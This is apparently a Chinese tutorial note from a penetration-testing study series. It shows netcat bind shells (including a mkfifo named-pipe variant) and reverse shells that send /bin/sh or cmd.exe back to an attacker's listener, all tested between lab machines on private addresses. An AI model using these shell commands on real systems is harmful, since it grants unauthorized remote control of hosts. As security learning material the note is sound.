上篇笔记对 netcat(nc) 的 HTTP 请求,端口扫描和代理等功能进行了测试,本篇笔记继续测试 nc 其他一些常用功能。
在渗透测试中,最好的方式是能够获取反向 shell (reverse shell) 或正向 shell (bind shell). 反向 shell 是从目标主机将 shell 连接处于监听状态的攻击方的方式。正向 shell 是攻击方通过特定端口连接目标主机 shell 的方式。
正向 shell (bind shell)
如果我们渗透的目标,有独立的公网 IP 和 Port, 并在外部可以访问到,可以尝试通过远程正向 shell 来对目标进行控制,有了 shell 很多操作将会非常方便。一般来说,会使用 telnet (默认端口23) 或 ssh (默认端口22) 来进行远程 shell. 但出于安全原因,主机上这两个命令经常不会主动安装,安装的话也需要管理员权限。我们可以用 netcat 创建远程 shell 来解决。
nc 在服务端监听端口,并带上执行命令(-c
或 -e
)的选项。
root@kali:~# nc -lvvp 7777 -c /bin/bash
客户端连接服务端。
nc 192.168.1.7 7777
服务端收到客户端连接后即运行 shell, 接收客户端命令,完成客户端 与 shell 的数据交互。
Kali 为服务端,即被攻击主机,shell 为 /bin/bash
Win7 为服务端,即被攻击主机,shell 为 cmd.exe
如果 nc 没有执行命令(-c
或 -e
)功能,还可以使用管道的方式来模拟绑定 shell 的功能,即把 shell 的输入输出数据放在命名管道里,并在客户端和服务端进行数据交互。步骤说明如下:
- 首先创建一个名为 fifo 的命名管道文件,命名管道文件可以读取等待,作为暂存 shell 输入输出数据的地方。
nc -lvp 7777
服务端监听端口,等待接收客户端连接,完成数据通信。(注意:管道只是暂存数据,服务端和客户端的数据仍旧会按照 nc 的编码来进行传输。不会出现数据去了管道,不会在网络传输了。这样理解对吗?)- shell 的输入来自客户端发送过来的命令,所以把 nc 监听端口收到的数据管道(
|
)至 fifo 文件 即nc -lvp 7777 > /tmp/fifo
. cat /tmp/fifo | /bin/sh
把 fifo 文件内容管道至 shell. 即把客户端发送过来的命令传给 shell 执行。(注意:管道使命令平行执行,fifo 文件可以读取等待,如果是普通文件,cat 命令会尽快结束,然后开始读取空文件)/bin/sh -i 2>&1 | nc -lvp 7777
shell 执行完相应命令后把结果,以及标准错误流(2)都转到标准输出流(1)上,并管道至 nc, 这样客户端就能接收到 shell 执行的结果或错误。这里-i
参数会给出一个提示符#
.nc -lvp 7777 > /tmp/fifo
nc 再次接收客户端传过来的命令,并管道至 fifo 文件。- 客户端用 nc 连接服务端,发起连接并完成数据通信。
nc 192.168.1.7 7777
以 Kali 为服务端,运行:
root@kali:~# mkfifo /tmp/fifo
root@kali:~# cat /tmp/fifo | /bin/sh -i 2>&1 | nc -lvp 7777 > /tmp/fifo
listening on [any] 7777 ...
win7 为客户端,运行:
nc 192.168.1.7 7777
客户端连接服务端后,能够得到服务端一个 shell.
关于 /bin/sh -i 2>&1
补盲以下知识点:
UNIX 有几种输入输出流,它们分别与几个数字有如下的对应关系:0-标准输入流(stdin),1-标准输出流(stdout),2-标准错误流 (stderr)。
2>&1
的意思就是将 stderr 重定向至 stdout ,并一起在屏幕上显示出来。如果不加数字,那么默认的重定向动作是针对 stdout(1)的,比如ls -l > result
就等价于ls -l 1 > result
. 这样便于我们更普遍性的理解重定向过程。
反向 shell (reverse shell)
如果我们渗透的目标,是一个内部网络的主机,外部不能直接访问其地址和端口,可以用 反向 shell 的方式来连接处于监听状态的攻击方主机,以更好的控制目标,反向 shell 经常用来绕过本地防火墙的限制。
攻击方监听端口。
nc -lvp 3333
被攻击主机启动 shell, 并通过 nc 来发送 shell 的命令和运行结果。
nc 192.168.1.2 3333 -e /bin/sh # Kali 为被攻击主机
nc 192.168.1.2 3333 -e cmd.exe # Win7 为被攻击主机
Win7 为攻击方,Kali 为被攻击主机,测试结果为:
Kali 为攻击方,Win7 为被攻击主机,测试结果为:
执行程序
上面的正向和反向 shell 都是执行程序的特例,我们还可以执行其他程序,这里以执行 calc.exe 为例进行测试,我测试的 nc 版本在结束执行的程序后,nc 也会自动断开连接。
总结
本篇笔记测试了 netcat 的正向和反向 shell 功能,尤其反向 shell 是最重要的控制主机的方式。在利用漏洞渗透目标后,最常用的方式就是启动一个 shell, 并传回攻击方,通过这个 shell 做更进一步的拓展。
下一步,分析书中的 netcat 代码,并用 Python3 进行实现。
参考
https://www.oschina.net/translate/linux-netcat-command?lang=chs&page=1#